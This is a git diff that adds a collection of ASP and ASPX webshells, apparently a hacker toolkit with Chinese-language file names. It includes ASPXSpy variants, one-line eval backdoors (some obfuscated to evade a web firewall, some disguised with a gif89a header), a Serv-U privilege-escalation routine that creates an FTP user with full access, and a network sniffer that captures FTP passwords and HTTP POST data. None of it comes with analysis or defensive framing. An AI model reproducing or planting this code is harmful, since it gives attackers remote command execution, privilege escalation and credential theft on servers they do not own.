    " +CheckFile = (Request("CheckFile")="on") +CheckNextDir = (Request("CheckNextDir")="on") +ShowNoWriteDir = (Request("ShowNoWrite")="on") +NoCheckTemp = (Request("NoCheckTemp")="on") +Response.Write "检测可能需要一定的时间请稍等......
    " +response.Flush + +Session("paths") = Request("Paths") + +PathsSplit=Split(Request("Paths"),chr(13)&chr(10)) +For i=LBound(PathsSplit) To UBound(PathsSplit) +if instr(PathsSplit(i),":")>0 then + ShowDirWrite_Dir_File Trim(PathsSplit(i)),CheckFile,CheckNextDir +End If +Next +Response.Write "[扫描完成]
    " +end if +end function +Function cmd2() +response.write"
    " +response.write"" +response.write"
    " +response.write"" +end function +Function suftp() +RRS"

    集成版本信息:

    " +RRS"
    " +RRS"
    管理员:
    " +RRS"
    管理员密码 :
    " +RRS"
    SERV-U端口:
    " +RRS"
    添加的用户名:
    " +RRS"
    添加的用户密码:
    " +RRS"
    帐号的所对的路径:
    " +RRS"
    服务端口:
    " +RRS"
    确定添加" +RRS"
    确定删除" +RRS"

    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +'leaves = leaves & "quit" & vbcrlf +'-------- +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +RRS ("命令成功执行!!FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +RRS "OKOKOK

    " +end if +End Function +Case "ScanDriveForm" + ScanDriveForm + Case "ScanDrive" + ScanDrive Request("Drive") + Case "ScFolder" + ScFolder Request("Folder") +case "apjdel":apjdel():case "Servu7x":su7():case "fuzhutq1":fuzhutq1():case "fuzhutq2":fuzhutq2():case "fuzhutq3":fuzhutq3():case "fuzhutq4":fuzhutq4():case "fuzhutq5":fuzhutq5():case "Cmd2":cmd2():case "suftp":suftp():case"hiddenshell":hiddenshell():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> diff --git "a/aspx/08\345\260\217\347\273\204\345\206\205\351\203\250\345\260\217\351\251\254.aspx" "b/aspx/08\345\260\217\347\273\204\345\206\205\351\203\250\345\260\217\351\251\254.aspx" new file mode 100644 index 0000000..6bea9ce --- /dev/null +++ "b/aspx/08\345\260\217\347\273\204\345\206\205\351\203\250\345\260\217\351\251\254.aspx" @@ -0,0 +1,57 @@ +<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false"%> + + + 08小组内部交流专用 www.huc08.com + + + + +
    +
    + 本文件路径: +
    +
    + 上传的口令: +
    +
    + 上传的路径: +
    +
    + 上传的内容: +
    +
    +
    + +
    +
    + + diff --git a/aspx/ASPXSpy.aspx b/aspx/ASPXSpy.aspx new file mode 100644 index 0000000..9b2c924 --- /dev/null +++ b/aspx/ASPXSpy.aspx @@ -0,0 +1,1561 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %> +<%@ import Namespace="System.IO" %> +<%@ import Namespace="System.Diagnostics" %> +<%@ import Namespace="System.Data" %> +<%@ import Namespace="System.Data.OleDb" %> +<%@ import Namespace="Microsoft.Win32" %> +<%@ import Namespace="System.Net.Sockets" %> +<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %> +<%@ import Namespace="System.DirectoryServices" %> + + + + + + ASPXSpy1.0 -> Bin:) + + + + +
    + + + + + +

    + Copyright (C) 2008 Bin -> WwW.RoOTkIt.NeT.Cn + +
    + + + + +   + + +
    + Copyright (C) 2008 Bin -> WwW.RoOTkIt.NeT.Cn -> Reverse-IP
    + +

    +

    + +    + +
    + + + +
    + +   + + + + + +
    +
    + FileName : +
    + + + + +
    + CreationTime : + + LastWriteTime : + + LastAccessTime : +
    + + +
    +
    +

    + Path:
    +
    +  
    +
    + CmdPath :  C:\Windows\System32\Cmd.exe
    + Argument : + /c Set
    + +
    +
    +
    + +
    + ConnString : + server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB
    + + +
    + + + +

    +
    + +
    + + +
    +
    +
    + + Path : + c:\ +
    +   +
    +

    +
    + + +
    +
    + +
    + Name : + localadministrator + Pass : + #l@$ak#.lk;0@P + Port : + 43958
    + CMD : + cmd.exe /c net user
    +
    +
    +
    + +
    +
    +
    +
    +  
    +
    + KEY :   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
    + VALUE : + ComputerName 
    +
    + +
    + IP : + 127.0.0.1 + PORT : + 21,80,1433,3306,3389,4899,5631,43958,65500 +
    +

    + +
    + + diff --git "a/aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" "b/aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" new file mode 100644 index 0000000..10e6e4a --- /dev/null +++ "b/aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" @@ -0,0 +1,65 @@ +<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%> + +/*-------------------------------------------------------------------------*/ + +<%@ Page Language="Jscript"%><%eval(Request.Item["g"],"unsafe");%> + +/*-------------------------------------------------------------------------*/ + +<%@PAGE LANGUAGE=JSCRIPT%> +<%var PAY:String= +Request["\x61\x62\x63\x64"];eval +(PAY,"\x75\x6E\x73\x61"+ +"\x66\x65");%> +//aspx一句话木马密码abcd + +/*-------------------------------------------------------------------------*/ + +<% +set ms = server.CreateObject("MSScriptControl.ScriptControl.1") +ms.Language="VBScript" +ms.AddObject "Response", Response +ms.AddObject "request", request +ms.ExecuteStatement("ev"&"al(request(""8090sec""))") +%> + +/*-------------------------------------------------------------------------*/ + +<%@ Page Language = Jscript %> +<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/ +"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+ +"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+ +","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval +(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%> 密码 -7 + +/*-------------------------------------------------------------------------*/ + + + +密码是webadmin + +/*-------------------------------------------------------------------------*/ + + 密码是webadmin + +/*-------------------------------------------------------------------------*/ + +<%@ Page Language="Jscript" validateRequest="false" %> +<% +var keng +keng = Request.Item["zhe"]; +Response.Write(eval(keng,"unsafe")); +%> +过狗 + +/*-------------------------------------------------------------------------*/ + +突破安全狗的aspx一句话: +<%@ Page Language="C#" ValidateRequest="false" %> +<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%> + +/***************************************************************************************/ diff --git "a/aspx/Aspx\345\260\217\351\251\254.aspx" "b/aspx/Aspx\345\260\217\351\251\254.aspx" new file mode 100644 index 0000000..5e710ad --- /dev/null +++ "b/aspx/Aspx\345\260\217\351\251\254.aspx" @@ -0,0 +1,52 @@ +gif89a<%@ Page language="c#" validateRequest=false %> + + + + ASPX小马 + + + + + + + +
    + 本文件绝对路径: + + 文件保存路径: + + + +
    + + diff --git "a/aspx/Aspx\357\274\210\345\205\215\346\235\200\357\274\211.aspx" "b/aspx/Aspx\357\274\210\345\205\215\346\235\200\357\274\211.aspx" new file mode 100644 index 0000000..dce008f --- /dev/null +++ "b/aspx/Aspx\357\274\210\345\205\215\346\235\200\357\274\211.aspx" @@ -0,0 +1,2941 @@ +<%@ Page Language="C#" validateRequest="false" AspCompat="true" Debug="true" trace="false"%> +<%@ import Namespace="System.IO" %> +<%@ import Namespace="System.Diagnostics" %> +<%@ import Namespace="System.Threading" %> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Data.SqlClient" %> +<%@ import Namespace="Microsoft.Win32" %> +<%@ import Namespace="System.Data.OleDb" %> +<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %> +<%@ import Namespace="System.DirectoryServices" %> +<%@ import Namespace="System.Security.Cryptography" %> + + + + + + + ASP.NET Web BackDoor + + + + + +
    + <% + + if (Session["jksession"] != null ) + { + Response.Write("

    千秋邈矣独留我,百战归来再读书。

    "); + Response.Write("

    刷新页面

    "); + if (Request.Params["action"] == "shuaxin") + { + Response.Write(" + + + +Hacked-by-剑眉大侠 + + + + + +
    +Password: + +

    +

    +
    +
    + + + + + + + +
    ☆依然笑多情
    + | | | | | | | | | | | | | +
    +
    +
    +
    +

    +<%--FileList--%> +
    + + + + + + +
    当前目录 : +
    + + + + 文件(夹)名最后修改时间大小操作 + +
    +
    +
    | 木马目录 | 新建目录 + | 木马自杀 +
    +
    +<%--FileEdit--%> +
    +

    当前文件(创建新的文件名和新文件)
    + DefaultUTF-8 +

    +

    文件内容
    + +

    +

    +
    +<%--CloneTime--%> +
    +

    修改文件

    +

    参考文件

    +

    +

    设置最后修改时间 »

    +

    当前文件

    +

    + +  + +  + +  + +

    +

    +创建时间 : + +最后修改时间 : + +最后访问时间 : + +

    +

    + +

    +
    +<%--IISSpy--%> +
    + + +IDIIS_USERIIS_PASSDomainPath + +
    +
    +<%--Process--%> +
    + + +IDProcessThreadCountPriorityAction + +
    +
    +<%--CmdShell--%> +
    +

    Cmd路径:
    + +

    + 语句:
    + +
    +
    +
    +<%--Services--%> +
    + + +IDNamePathStateStartMode + +
    +
    +<%--Sysinfo--%> +
    +
    +
      +

      +
      +
        +

        +
        +
          +
          +<%--UserInfo--%> +
          + + + +
          +
          +<%--SuExp--%> +
          + + + + + + + + + + + + +
          用户名 : 密码 : 端口 :
          CmdShell  : 
          +
          + + + + + + +
          +
          +
          +<%--Reg--%> +
          +

          注册表路径 :

          + + + +KeyValue + +
          +
          +<%--PortScan--%> +
          +

          +IP : 端口 : +

          +
          +
          +<%--DataBase--%> +
          +

          语句 : MSSQLACCESS

          +
          +
          +
          +Please select a database : +SQLExec : -- SQL Server Exec --Add %78%70%5F%63%6D%64%73%68%65%6C%6CAdd sp_oacreateAdd %78%70%5F%63%6D%64%73%68%65%6C%6C(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)%78%70%5F%63%6D%64%73%68%65%6C%6C execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup +
          +
          Run SQL
          +
          +
          +

          + +

          +
          +
          +
          +<%--PortMap--%> +
          + + + + + + + +
          本地Ip : 本地端口 : 远程Ip : 远端口程 :

          +<%--Search--%> +
          + + + + + + + + + + + + + + + + + + + + + +
          关键词 使用正则表达式
          替换 替换
          搜索文件类型文件名称文件内容
          路径
          +
          +
          + +File PathLast modifiedSize + +
          +
          +
          Copyright © 2009-2012 ON-e.cn All Rights Reserved.
          +
          + + diff --git "a/aspx/aspxspy_2014_\346\234\200\347\273\210\347\211\210.aspx" "b/aspx/aspxspy_2014_\346\234\200\347\273\210\347\211\210.aspx" new file mode 100644 index 0000000..db63f9d --- /dev/null +++ "b/aspx/aspxspy_2014_\346\234\200\347\273\210\347\211\210.aspx" @@ -0,0 +1,2953 @@ +<%@ Page Language="C#" Debug="false" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.IO.Compression"%> +<%@ import Namespace="System.Diagnostics"%> +<%@ import Namespace="System.Data"%> +<%@ import Namespace="System.Data.OleDb"%> +<%@ import Namespace="System.Data.Common"%> +<%@ Import Namespace="System.Data.SqlClient"%> +<%@ import Namespace="System.Management"%> +<%@ import Namespace="Microsoft.Win32"%> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Reflection"%> +<%@ import Namespace="System.Runtime.InteropServices"%> +<%@ import Namespace="System.DirectoryServices"%> +<%@ import Namespace="System.ServiceProcess"%> +<%@ import Namespace="System.Text.RegularExpressions"%> +<%@ Import Namespace="System.Security"%> +<%@ Import Namespace="System.Security.Permissions"%> +<%@ Import Namespace="System.Threading"%> +<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> + + + + + +<%=Version + " - " +Request.ServerVariables["SERVER_NAME"]%> + + + + +
          +
          +Password: + + +
          +
          +
          + + + + + + + +
          WebShell Ver: <%=Version%>
          + | | | | | | | | | | | | | | |
          +
          +
          +
          +

          +<%--FileList--%> +
          + + + + + + +
          Current Directory : +
          + + + + FilenameLast modifiedSizeAction + +
          +
          +
          | Create Directory | Create File +| Kill Me +
          +
          +<%--FileEdit--%> +
          +

          Current File(import new file name and new file)
          + DefaultUTF-8 +

          +

          File Content
          + +

          +

          +
          +<%--CloneTime--%> +
          +

          Alter file

          +

          Reference file(fullpath)

          +

          +

          Set last modified »

          +

          Current file(fullpath)

          +

          + +  + +  + +  + +

          +

          +CreationTime : + +LastWriteTime : + +LastAccessTime : + +

          +

          + +

          +
          +<%--IISSpy--%> +
          + + +IDIIS_USERIIS_PASSDomainPath + +
          +
          +<%--Process--%> +
          + + +IDProcessThreadCountPriorityAction + +
          +
          +<%--CmdShell--%> +
          +

          CmdPath:
          + +

          +Argument:
          + +
          +
          +
          +<%--Services--%> +
          + + +IDNamePathStateStartMode + +
          +
          +<%--Sysinfo--%> +
          +
          +
            +

            +
            +
              +

              +
              +
                +
                +<%--UserInfo--%> +
                + + + +
                +
                +<%--Reg--%> +
                +

                Registry Path :

                + + + +KeyValue + +
                +
                +<%--PortScan--%> +
                +

                +IP : Port : +

                +
                +
                +<%--DataBase--%> +
                +
                +

                ConnString : MSSQLOleDb

                +
                +
                +
                +Please select a database : +SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackupSA_UpfileFileCopy + +
                +
                Run SQL
                + +
                +
                + + + + + +
                UpFile : SavePath :      +
                +
                + + + + + +
                Source : Target :         
                +
                +
                +

                + +

                +
                +
                +
                +<%--PortMap--%> +
                + + + + + + + +
                Local Ip : Local Port : Remote Ip : Remote Port :

                + +IDRemoteLocalStatusAction + +
                +<%--Search--%> + +<%--WmiTools--%> +
                +
                +

                Computer:Username:Password:Namespace:QueryString :  

                +
                +Result:
                + +
                +
                +<%--ADS Viewer--%> +
                + + + + + + + + + + + + + + +
                Current Path: +Filter: +UserName: +PassWord: +Type:
                + + +
                + + + +NameTypeSchemaValuePath + +
                +
                Schema:
                + | + | + | + | + | + | + | + | + +
                +
                +<%--Plugin Loader--%> +
                +Select a File:



                TypeName:


                MethodName:


                Params:


                +
                +
                +
                +
                Copyright(C)2006-2014 Bin'Blog All Rights Reserved.
                + +
                + + diff --git "a/aspx/aspx\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.aspx" "b/aspx/aspx\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.aspx" new file mode 100644 index 0000000..d8268dc --- /dev/null +++ "b/aspx/aspx\346\211\253\345\217\257\350\257\273\345\217\257\345\206\231\347\233\256\345\275\225\350\204\232\346\234\254.aspx" @@ -0,0 +1,66 @@ +<%@ Page Language="C#" ValidateRequest="false" %> +<%@ Import Namespace="System.IO" %> +<%@ Import Namespace="System.Text" %> + + + + +ScanWrtieable + + + + + +
                + +
                +start +Stopat files +
                + +
                +
                + +
                + + diff --git "a/aspx/aspx\346\225\264\347\253\231\346\211\223\345\214\205.aspx" "b/aspx/aspx\346\225\264\347\253\231\346\211\223\345\214\205.aspx" new file mode 100644 index 0000000..9309b61 --- /dev/null +++ "b/aspx/aspx\346\225\264\347\253\231\346\211\223\345\214\205.aspx" @@ -0,0 +1,1545 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ Import Namespace="System.Diagnostics"%> +<%@ Import Namespace="System.IO"%> + + + + ASPX整站打包Shell V1.0 + + + + +
                + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
                + K8Pack WebShell V1.0
                +  
                + K8ShellPath: + + +
                + WinRarPath: + + +
                + K8PackPath: + + +
                + OutRarPath: + + + + + + + + +
                + UpFilePath: + + + + + 可选用自带ZIP类或调用WinRar + +
                +  
                + +
                +
                + + + + + diff --git "a/aspx/aspx\351\241\265\351\235\242\346\211\247\350\241\214cmd\345\221\275\344\273\244\347\232\204\347\250\213\345\272\217.aspx" "b/aspx/aspx\351\241\265\351\235\242\346\211\247\350\241\214cmd\345\221\275\344\273\244\347\232\204\347\250\213\345\272\217.aspx" new file mode 100644 index 0000000..7222bce --- /dev/null +++ "b/aspx/aspx\351\241\265\351\235\242\346\211\247\350\241\214cmd\345\221\275\344\273\244\347\232\204\347\250\213\345\272\217.aspx" @@ -0,0 +1,85 @@ +<%@ Page Language="C#" AutoEventWireup="true"%> +<%@ import Namespace="System.Diagnostics"%> + + + + + + + 剑眉大侠 and Cmd.aspx + + +
                +
                + Cmd.aspx powered by 剑眉大侠
                +
                +
                CMD Path:c:\windows\system32\cmd.exe
                + CurrentDir:
                + CMD Line:/c set +
                +
                +
                +
                + + + + + + + +// + +ASP.NET环境下执行cmd命令的程序,相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制,本程序不能在IIS6运行,不过可以很好的支持IIS5.x + .net framework. + +用起来方便,而且错误比较全。 + +之前不是写了windows服务吗,需要向系统注册服务,但是我只有ftp权限怎么办,不能远程到桌面。 + 想了个办法,写了一个aspx页面,通过代码调用cmd来运行。当然,因为服务器安全放的比较开,内网吗~ + + + + + diff --git "a/aspx/r00ts aspx\345\244\247\351\251\254.aspx" "b/aspx/r00ts aspx\345\244\247\351\251\254.aspx" new file mode 100644 index 0000000..19b490e --- /dev/null +++ "b/aspx/r00ts aspx\345\244\247\351\251\254.aspx" @@ -0,0 +1,2579 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Diagnostics"%> +<%@ import Namespace="System.Data"%> +<%@ import Namespace="System.Management"%> +<%@ import Namespace="System.Data.OleDb"%> +<%@ import Namespace="Microsoft.Win32"%> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Runtime.InteropServices"%> +<%@ import Namespace="System.DirectoryServices"%> +<%@ import Namespace="System.ServiceProcess"%> +<%@ import Namespace="System.Text.RegularExpressions"%> +<%@ Import Namespace="System.Threading"%> +<%@ Import Namespace="System.Data.SqlClient"%> +<%@ import Namespace="Microsoft.VisualBasic"%> +<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%> + + + + + +r00ts Team WebShell + + + + +
                +
                +r00ts Team WebShell + +

                +

                +
                +
                + + + + + + + +
                Hello! Hack. By Faker
                + | | | | | | | | | | | | | +
                +
                +
                +
                +

                +<%--FileList--%> +
                + + + + + + +
                当前目录 : +
                + + + + 文件(夹)名最后修改时间大小操作 + +
                +
                +
                | 木马目录 | 新建目录 + | 木马自杀 +
                +
                +<%--FileEdit--%> +
                +

                当前文件(创建新的文件名和新文件)
                + DefaultUTF-8 +

                +

                文件内容
                + +

                +

                +
                +<%--CloneTime--%> +
                +

                修改文件

                +

                参考文件

                +

                +

                设置最后修改时间 »

                +

                当前文件

                +

                + +  + +  + +  + +

                +

                +创建时间 : + +最后修改时间 : + +最后访问时间 : + +

                +

                + +

                +
                +<%--IISSpy--%> +
                + + +IDIIS_USERIIS_PASSDomainPath + +
                +
                +<%--Process--%> +
                + + +IDProcessThreadCountPriorityAction + +
                +
                +<%--CmdShell--%> +
                +

                Cmd路径:
                + +

                + 语句:
                + +
                +
                +
                +<%--Services--%> +
                + + +IDNamePathStateStartMode + +
                +
                +<%--Sysinfo--%> +
                +
                +
                  +

                  +
                  +
                    +

                    +
                    +
                      +
                      +<%--UserInfo--%> +
                      + + + +
                      +
                      +<%--SuExp--%> +
                      + + + + + + + + + + + + +
                      用户名 : 密码 : 端口 :
                      CmdShell  : 
                      +
                      + + + + + + +
                      +
                      +
                      +<%--Reg--%> +
                      +

                      注册表路径 :

                      + + + +KeyValue + +
                      +
                      +<%--PortScan--%> +
                      +

                      +IP : 端口 : +

                      +
                      +
                      +<%--DataBase--%> +
                      +

                      语句 : MSSQLACCESS

                      +
                      +
                      +
                      +Please select a database : +SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup +
                      +
                      Run SQL
                      +
                      +
                      +

                      + +

                      +
                      +
                      +
                      +<%--PortMap--%> +
                      + + + + + + + +
                      本地Ip : 本地端口 : 远程Ip : 远端口程 :

                      +<%--Search--%> +
                      + + + + + + + + + + + + + + + + + + + + + +
                      关键词 使用正则表达式
                      替换 替换
                      搜索文件类型文件名称文件内容
                      路径
                      +
                      +
                      + +File PathLast modifiedSize + +
                      +
                      +
                      #### Hack By Faker ####
                      +
                      +
                      + + diff --git "a/aspx/sniffer--aspx\345\227\205\346\216\242\345\267\245\345\205\267.aspx" "b/aspx/sniffer--aspx\345\227\205\346\216\242\345\267\245\345\205\267.aspx" new file mode 100644 index 0000000..dbebb00 --- /dev/null +++ "b/aspx/sniffer--aspx\345\227\205\346\216\242\345\267\245\345\205\267.aspx" @@ -0,0 +1,707 @@ +<%@ Page Language="C#" ValidateRequest="false" %> +<%@ Import Namespace="System.Net.Sockets" %> +<%@ Import Namespace="System.Net" %> +<%@ Import Namespace="System.IO" %> +<%@ Import Namespace="System.Collections" %> +<%@ Import Namespace="System.Text" %> +<%@ Import Namespace="System.Net.NetworkInformation" %> +<%@ Import Namespace="System.Threading" %> + + + +WebSniff 1.0 Powered by 上善若水 汉化版 + + + + + + + + +
                      +
                      WebSniff 1.0

                      +
                      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
                      目标IP:
                      自动嗅探: + FTP 密码: + +    + + HTTP Post Data: + +    + + Smtp Data: + + + +
                      + 目标端口: + + +
                      + 数据包大小: + + +
                      + 关键字如(passwd): + + +
                      + 数据包文件存放位置: + + +
                      + 定时停止: + + +
                      + 控制: + + +
                      +
                      + Status: +
                      +
                      + +
                      +
                      +


                      +
                      Powered by 上善若水 |汉化 + + 1 + + 2 +
                      + + + + +
                      + + diff --git "a/aspx/\345\207\235\350\201\232\347\247\221\346\212\200\344\270\223\347\224\250AspX\345\244\247\351\251\254\345\257\206\347\240\201the.aspx" "b/aspx/\345\207\235\350\201\232\347\247\221\346\212\200\344\270\223\347\224\250AspX\345\244\247\351\251\254\345\257\206\347\240\201the.aspx" new file mode 100644 index 0000000..d53bfdd --- /dev/null +++ "b/aspx/\345\207\235\350\201\232\347\247\221\346\212\200\344\270\223\347\224\250AspX\345\244\247\351\251\254\345\257\206\347\240\201the.aspx" @@ -0,0 +1,899 @@ +gif89a<%@ Page Language="C#" ContentType="text/html" validateRequest="false" aspcompat="true"%> +<%@ Import Namespace="System.IO" %> +<%@ import namespace="System.Diagnostics" %> +<%@ Import Namespace="Microsoft.Win32" %> +<%@ Import Namespace="System.Collections" %> +<%@ Import Namespace="System.Net" %> +<%@ Import Namespace="System.Data.SqlClient" %> +<%@ Import Namespace="System.Threading" %> +<%@ Import Namespace="System.Net.Sockets" %> +<%@ Import Namespace="System.Diagnostics" %> +<% +//-------------------------------Code by sunue-------------------------------- +//-------------------------------------------- +%> + + +<% +string page = Request.QueryString["page"]; +string action = Request.QueryString["action"]; +string src = Request.QueryString["src"]; +%> + + + +<% +if (action == "del") +{ +Directory.Delete(src,true); +string webname = GetWebName(); +Response.Redirect(webname + "?page=index&src="+GetParentDir(src));//// +} +if (action == "deldir") +{ +FileInfo fl = new FileInfo(src); +fl.Delete(); +string webname = GetWebName(); +Response.Redirect(GetParentDir(webname + "?page=index&src=" + src)); +} +%> +<% + +if (Session["root"] != null) +{ + +%> + + + + + + + + + + + + + + + + + + + + +
                      功能: +<% +Response.Write("Webshell目录"); +%> +基本信息进程管理新建文件新建目录文件上传注册表读取cmd执行sql执行端口扫描克隆时间远程文件下载登出

                      + + + + + + + + + + + + + + + + + + +
                      提权目录: Program Files Documents PcAnywhere 开始菜单 All Users Serv-u目录I Serv-u目录II Real Sql Server Config Data Temp

                      + + + + +
                      +盘符浏览: +<% +String[] drives = Environment.GetLogicalDrives(); +for (int i = 0; i < drives.Length; i++) +{ +Response.Write(""+ drives[i]+"" + " "); +} + +%> +
